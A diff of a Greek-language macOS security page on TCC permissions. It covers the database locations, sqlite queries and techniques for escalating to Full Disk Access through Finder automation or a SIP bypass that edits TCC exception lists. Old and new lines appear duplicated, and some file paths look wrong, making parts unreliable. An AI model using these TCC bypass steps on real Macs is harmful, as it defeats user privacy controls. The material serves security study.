* Η βάση δεδομένων σε επίπεδο συστήματος στο **`/Library/Application Support/com.apple.TCC/TCC.db`**.
* Αυτή η βάση δεδομένων προστατεύεται από το SIP, έτσι μόνο μια παράκαμψη SIP μπορεί να γράψει σε αυτήν.
* Η βάση δεδομένων TCC του χρήστη **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** για προτιμήσεις ανά χρήστη.
* Αυτή η βάση δεδομένων προστατεύεται, έτσι μόνο διεργασίες με υψηλά προνόμια TCC όπως Πλήρης Πρόσβαση Δίσκου μπορούν να γράψουν σε αυτήν (αλλά δεν προστατεύεται από το SIP).
{% hint style="warning" %}
Οι προηγούμενες βάσεις δεδομένων είναι επίσης προστατευμένες από το TCC για πρόσβαση ανάγνωσης. Έτσι δεν θα μπορείτε να διαβάσετε την κανονική βάση δεδομένων TCC του χρήστη σας εκτός αν είναι από μια διεργασία με προνόμια TCC.
@ -49,10 +49,10 @@ ps -ef | grep tcc
Ωστόσο, θυμηθείτε ότι μια διεργασία με αυτά τα υψηλά προνόμια (όπως Πλήρης Πρόσβαση Δίσκου ή `kTCCServiceEndpointSecurityClient`) θα μπορεί να γράψει στη βάση δεδομένων TCC των χρηστών
{% endhint %}
- Υπάρχει μια τρίτη βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδεικνύει πελάτες που επιτρέπεται να έχουν πρόσβαση στις υπηρεσίες τοποθεσίας.
- Το προστατευμένο αρχείο από SIP **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την τοποθεσία όλων των έγκυρων βάσεων δεδομένων TCC.
- Το προστατευμένο αρχείο από SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες παραχωρημένες άδειες TCC.
- Το προστατευμένο αρχείο από SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά αναγνώσιμο από οποιονδήποτε) είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC.
* Υπάρχει μια τρίτη βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδεικνύει πελάτες που επιτρέπεται να έχουν πρόσβαση στις υπηρεσίες τοποθεσίας.
* Το αρχείο που προστατεύεται από το SIP **`/Users/carlospolop/Downloads/REG.db`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει την τοποθεσία όλων των έγκυρων βάσεων δεδομένων TCC.
* Το αρχείο που προστατεύεται από το SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (επίσης προστατευμένο από πρόσβαση ανάγνωσης με TCC), περιέχει περισσότερες άδειες που έχουν χορηγηθεί από το TCC.
* Το αρχείο που προστατεύεται από το SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (αλλά είναι αναγνώσιμο από οποιονδήποτε) είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC.
{% hint style="success" %}
Η βάση δεδομένων TCC στο **iOS** βρίσκεται στο **`/private/var/mobile/Library/TCC/TCC.db`**
@ -70,13 +70,13 @@ com.apple.rootless.storage.TCC
```
{% endcode %}
Ωστόσο, οι χρήστες μπορούν **να διαγράψουν ή να ερωτήσουν κανόνες** με το εργαλείο γραμμής εντολών **`tccutil`**.
Ωστόσο, οι χρήστες μπορούν **να διαγράψουν ή να ερωτήσουν κανόνες** με το **`tccutil`** εργαλείο γραμμής εντολών.
{% endhint %}
#### Ερώτηση των βάσεων δεδομένων
{% tabs %}
{% tab title="βάση δεδομένων χρήστη" %}
{% tab title="χρήστης DB" %}
{% code overflow="wrap" %}
```bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
@ -123,10 +123,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %}
{% hint style="success" %}
Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέψει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει άδεια).
Ελέγχοντας και τις δύο βάσεις δεδομένων μπορείτε να ελέγξετε τις άδειες που έχει επιτρέώσει μια εφαρμογή, έχει απαγορεύσει ή δεν έχει (θα ζητήσει άδεια).
{% endhint %}
* Το **`service`** είναι η συμβολοσειρά άδειας TCC
* Το **`service`** είναι η αναπαράσταση συμβολοσειράς **άδειας** TCC
* Ο **`client`** είναι το **ID πακέτου** ή η **διαδρομή προς το δυαδικό** με τις άδειες
* Το **`client_type`** υποδεικνύει εάν πρόκειται για Αναγνωριστικό Πακέτου(0) ή απόλυτη διαδρομή(1)
@ -173,9 +173,9 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
</details>
* Η **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2), ή limited(3).
* Η τιμή **`auth_value`** μπορεί να έχει διαφορετικές τιμές: denied(0), unknown(1), allowed(2), ή limited(3).
* Το πεδίο **`auth_reason`** μπορεί να πάρει τις ακόλουθες τιμές: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* Το πεδίο **csreq** υπάρχει για να υποδείξει πώς να επαληθευθεί το δυαδικό αρχείο που θα εκτελεστεί και να χορηγήσει τις άδειες TCC:
* Το πεδίο **csreq** υπάρχει για να υποδείξει πώς να επαληθευτεί το δυαδικό αρχείο που θα εκτελεστεί και να χορηγηθούν οι άδειες TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -209,9 +209,7 @@ tccutil reset All
```
### TCC Έλεγχοι Υπογραφής
Η **βάση δεδομένων** του TCC αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά αποθηκεύει επίσης **πληροφορίες** σχετικά με τη **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητάει άδεια είναι η σωστή.
{% code overflow="wrap" %}
Η **βάση δεδομένων** του TCC αποθηκεύει το **Bundle ID** της εφαρμογής, αλλά αποθηκεύει επίσης **πληροφορίες** σχετικά με τη **υπογραφή** για να **διασφαλίσει** ότι η εφαρμογή που ζητάει την άδεια χρήσης είναι η σωστή.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -226,7 +224,7 @@ csreq -t -r /tmp/telegram_csreq.bin
{% endcode %}
{% hint style="warning" %}
Συνεπώς, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και το αναγνωριστικό δέσμης (bundle ID) δεν θα μπορούν να έχουν πρόσβαση στις άδειες που έχουν δοθεί σε άλλες εφαρμογές.
Συνεπώς, άλλες εφαρμογές που χρησιμοποιούν το ίδιο όνομα και το αναγνωριστικό δέσμης (bundle ID) δεν θα μπορέσουν να έχουν πρόσβαση στις δικαιώματα που έχουν δοθεί σε άλλες εφαρμογές.
{% endhint %}
### Δικαιώματα & Άδειες TCC
@ -263,7 +261,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### Πρόθεση Χρήστη / com.apple.macl
Όπως αναφέρθηκε προηγουμένως, είναι δυνατόν να **χορηγήσετε πρόσβαση σε μια εφαρμογή σε ένα αρχείο σύροντάς το πάνω της**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **επεκταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
Όπως αναφέρθηκε προηγουμένως, είναι δυνατόν να **χορηγήσετε πρόσβαση σε μια εφαρμογή για ένα αρχείο σύροντάς το πάνω της**. Αυτή η πρόσβαση δεν θα καθορίζεται σε καμία βάση δεδομένων TCC αλλά ως **επεκταμένο** **χαρακτηριστικό του αρχείου**. Αυτό το χαρακτηριστικό θα **αποθηκεύει το UUID** της επιτρεπόμενης εφαρμογής:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -281,7 +279,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
{% hint style="info" %}
Είναι περίεργο ότι το χαρακτηριστικό **`com.apple.macl`** διαχειρίζεται από το **Sandbox**, όχι από το tccd.
Επίσης, σημειώστε ότι εάν μετακινήσετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή οι ίδιες εφαρμογές θα έχουν διαφορετικά UIDs, δεν θα παραχωρήσει πρόσβαση σε αυτήν την εφαρμογή.
Επίσης, σημειώστε ότι εάν μετακινήσετε ένα αρχείο που επιτρέπει το UUID μιας εφαρμογής στον υπολογιστή σας σε διαφορετικό υπολογιστή, επειδή η ίδια εφαρμογή θα έχει διαφορετικά UIDs, δεν θα χορηγήσει πρόσβαση σε αυτήν την εφαρμογή.
{% endhint %}
Το επεκτεινόμενο χαρακτηριστικό `com.apple.macl` **δεν μπορεί να εκκαθαριστεί** όπως τα άλλα επεκτεινόμενα χαρακτηριστικά επειδή προστατεύεται από το SIP. Ωστόσο, όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), είναι δυνατόν να το απενεργοποιήσετε **συμπιέζοντας** το αρχείο, **διαγράφοντάς** το και **αποσυμπιέζοντάς** το.
@ -349,8 +347,8 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
Το όνομα TCC της άδειας Αυτοματισμού είναι: **`kTCCServiceAppleEvents`**\
Αυτή η συγκεκριμένη άδεια TCC υποδεικνύει επίσης την **εφαρμογή που μπορεί να διαχειριστεί** μέσα στη βάση δεδομένων TCC (έτσι οι άδειες δεν επιτρέπουν απλώς να διαχειριστείτε τα πάντα).
Ο **Finder** είναι μια εφαρμογή που **έχει πάντα FDA** (ακόμα κι αν δεν εμφανίζεται στο UI), οπότε αν έχετε **προνόμια Αυτοματισμού** πάνω σε αυτόν, μπορείτε να εκμεταλλευτείτε τα προνόμιά του για να **εκτελέσετε κάποιες ενέργειες**.\
Σε αυτήν την περίπτωση, η εφαρμογή σας θα χρειαζόταν την άδεια **`kTCCServiceAppleEvents`** πάνω στο **`com.apple.Finder`**.
Ο **Finder** είναι μια εφαρμογή που **έχει πάντα FDA** (ακόμα κι αν δεν εμφανίζεται στο UI), οπότε αν έχετε **προνόμια Αυτοματισμού** πάνω του, μπορείτε να εκμεταλλευτείτε τα προνόμιά του για να **εκτελέσετε κάποιες ενέργειες**.\
Σε αυτήν την περίπτωση, η εφαρμογή σας θα χρειαζόταν την άδεια **`kTCCServiceAppleEvents`** πάνω από το **`com.apple.Finder`**.
{% tabs %}
{% tab title="Κλέψτε το TCC.db των χρηστών" %}
@ -383,14 +381,14 @@ EOD
Μπορείτε να καταχραστείτε αυτό για **να γράψετε τη δική σας βάση δεδομένων χρήστη TCC**.
{% hint style="warning" %}
Με αυτήν την άδεια θα μπορείτε **να ζητήσετε από το Finder να έχετε πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω δεν θα μπορείτε **να κάνετε το Finder να εκτελέσει αυθαίρετο κώδικα** για να εκμεταλλευτείτε πλήρως την πρόσβασή του στο FDA.
Με αυτήν την άδεια θα μπορείτε **να ζητήσετε από το Finder να έχετε πρόσβαση σε περιορισμένους φακέλους TCC** και να σας δώσει τα αρχεία, αλλά όσο γνωρίζω **δεν θα μπορείτε να κάνετε το Finder να εκτελέσει αυθαίρετο κώδικα** για να εκμεταλλευτείτε πλήρως την πρόσβασή του στο FDA.
Συνεπώς, δεν θα μπορείτε να εκμεταλλευτείτε πλήρως τις ικανότητες του FDA.
{% endhint %}
Αυτή είναι η πρόταση TCC για να λάβετε προνόμια Αυτοματισμού πάνω στο Finder:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
Σημειώστε ότι επειδή η εφαρμογή **Automator** έχει την άδεια TCC **`kTCCServiceAppleEvents`**, μπορεί **να ελέγχει οποιαδήποτε εφαρμογή**, όπως το Finder. Έτσι, έχοντας την άδεια να ελέγχετε το Automator, θα μπορούσατε επίσης να ελέγχετε το **Finder** με έναν κώδικα όπως ο παρακάτω:
@ -420,7 +418,7 @@ EOD
```
</details>
Το ίδιο συμβαίνει και με την εφαρμογή **Script Editor,** μπορεί να ελέγχει το Finder, αλλά χρησιμοποιώντας ένα AppleScript δεν μπορείτε να τον αναγκάσετε να εκτελέσει ένα σενάριο.
Το ίδιο συμβαίνει και με την εφαρμογή **Script Editor,** μπορεί να ελέγχει το Finder, αλλά χρησιμοποιώντας ένα AppleScript δεν μπορείτε να το αναγκάσετε να εκτελέσει ένα σενάριο.
### Αυτοματισμός (SE) προς ορισμένα TCC
@ -518,7 +516,7 @@ EOF
```
### `kTCCServiceAccessibility` σε FDA\*
Ελέγξτε αυτήν τη σελίδα για μερικά [**payloads για κατάχρηση των δικαιωμάτων πρόσβασης**](macos-tcc-payloads.md#accessibility) για προώθηση σε FDA\* ή εκτέλεση ενός keylogger για παράδειγμα.
Ελέγξτε αυτήν τη σελίδα για μερικά [**payloads για κατάχρηση των δικαιωμάτων πρόσβασης**](macos-tcc-payloads.md#accessibility) για προώθηση προνομίων σε FDA\* ή για την εκτέλεση ενός keylogger για παράδειγμα.
### **Πελάτης Ασφάλειας Σημείου Πρόσβασης σε FDA**
@ -530,26 +528,26 @@ EOF
### Βάση Δεδομένων TCC Χρήστη σε FDA
Με την απόκτηση **δικαιωμάτων εγγραφής** στη **βάση δεδομένων TCC** του χρήστη δεν μπορείτε να χορηγήσετε στον εαυτό σας δικαιώματα **`FDA`**, μόνο αυτός που βρίσκεται στη βάση δεδομένων του συστήματος μπορεί να τα χορηγήσει.
Λαμβάνοντας **δικαιώματα εγγραφής** στη **βάση δεδομένων TCC** του χρήστη δεν μπορείτε να χορηγήσετε στον εαυτό σας δικαιώματα **`FDA`**, μόνο αυτός που βρίσκεται στη βάση δεδομένων του συστήματος μπορεί να το κάνει.
Ωστόσο, μπορείτε να δώσετε στον εαυτό σας **`Δικαιώματα Αυτοματισμού στο Finder`**, και να καταχραστείτε την προηγούμενη τεχνική για προώθηση σε FDA\*.
### **Δικαιώματα FDA σε TCC**
### **FDA σε δικαιώματα TCC**
Η πρόσβαση **Πλήρους Δίσκου** στο TCC ονομάζεται **`kTCCServiceSystemPolicyAllFiles`**
Δεν νομίζω ότι αυτό είναι ένα πραγματικό προνόμιο προώθησης, αλλά για περίπτωση που μπορεί να σας φανεί χρήσιμο: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων TCC των χρηστών και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική διατήρησης σε περίπτωση που χάσετε τα δικαιώματά σας FDA.
Δεν νομίζω ότι αυτή είναι μια πραγματική προώθηση προνομίων, αλλά για να είμαστε σίγουροι: Αν ελέγχετε ένα πρόγραμμα με FDA μπορείτε να **τροποποιήσετε τη βάση δεδομένων των χρηστών TCC και να δώσετε στον εαυτό σας οποιαδήποτε πρόσβαση**. Αυτό μπορεί να είναι χρήσιμο ως τεχνική διατήρησης σε περίπτωση που χάσετε τα δικαιώματά σας FDA.
### **Παράκαμψη SIP σε Παράκαμψη TCC**
Η βάση δεδομένων TCC του συστήματος προστατεύεται από το **SIP**, γι' αυτό μόνο διεργασίες με τα **συγκεκριμένα δικαιώματα θα μπορούν να την τροποποιήσουν**. Επομένως, αν ένας επιτιθέμενος βρει μια **παράκαμψη SIP** σε ένα **αρχείο** (να μπορεί να το τροποποιήσει παρά το SIP), θα μπορεί:
Η βάση δεδομένων TCC του συστήματος προστατεύεται από το **SIP**, γι' αυτό μόνο διεργασίες με τα **συγκεκριμένα δικαιώματα** θα μπορούν να την τροποποιήσουν. Επομένως, αν ένας επιτιθέμενος βρει μια **παράκαμψη SIP** πάνω σε ένα **αρχείο** (να μπορεί να το τροποποιήσει παρά το SIP), θα μπορεί:
* Να **αφαιρέσει την προστασία** μιας βάσης δεδομένων TCC και να δώσει στον εαυτό του όλα τα δικαιώματα TCC. Θα μπορούσε να καταχραστεί οποιοδήποτε από αυτά τα αρχεία για παράδειγμα:
* Η βάση δεδομένων συστήματος TCC
* Η βάση δεδομένων συστημάτων TCC
* REG.db
* MDMOverrides.plist
Ωστόσο, υπάρχει μια άλλη επιλογή για κατάχρηση αυτής της **παράκαμψης SIP για παράκαμψη TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
Ωστόσο, υπάρχει μια άλλη επιλογή για να καταχραστεί αυτήν τη **παράκαμψη SIP για παράκαμψη TCC**, το αρχείο `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` είναι μια λίστα εφαρμογών που απαιτούν μια εξαίρεση TCC. Επομένως, αν ένας επιτιθέμενος μπορεί να **αφαιρέσει την προστασία SIP** από αυτό το αρχείο και να προσθέσει την **δική του εφαρμογή**, η εφαρμογή θα μπορεί να παρακάμψει το TCC.\
Για παράδειγμα για να προσθέσετε το terminal:
```bash
# Get needed info
@ -580,7 +578,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
</dict>
</plist>
```
### Παρακάμψεις TCC
### TCC Παρακάμψεις
{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)

Some files were not shown because too many files have changed in this diff Show more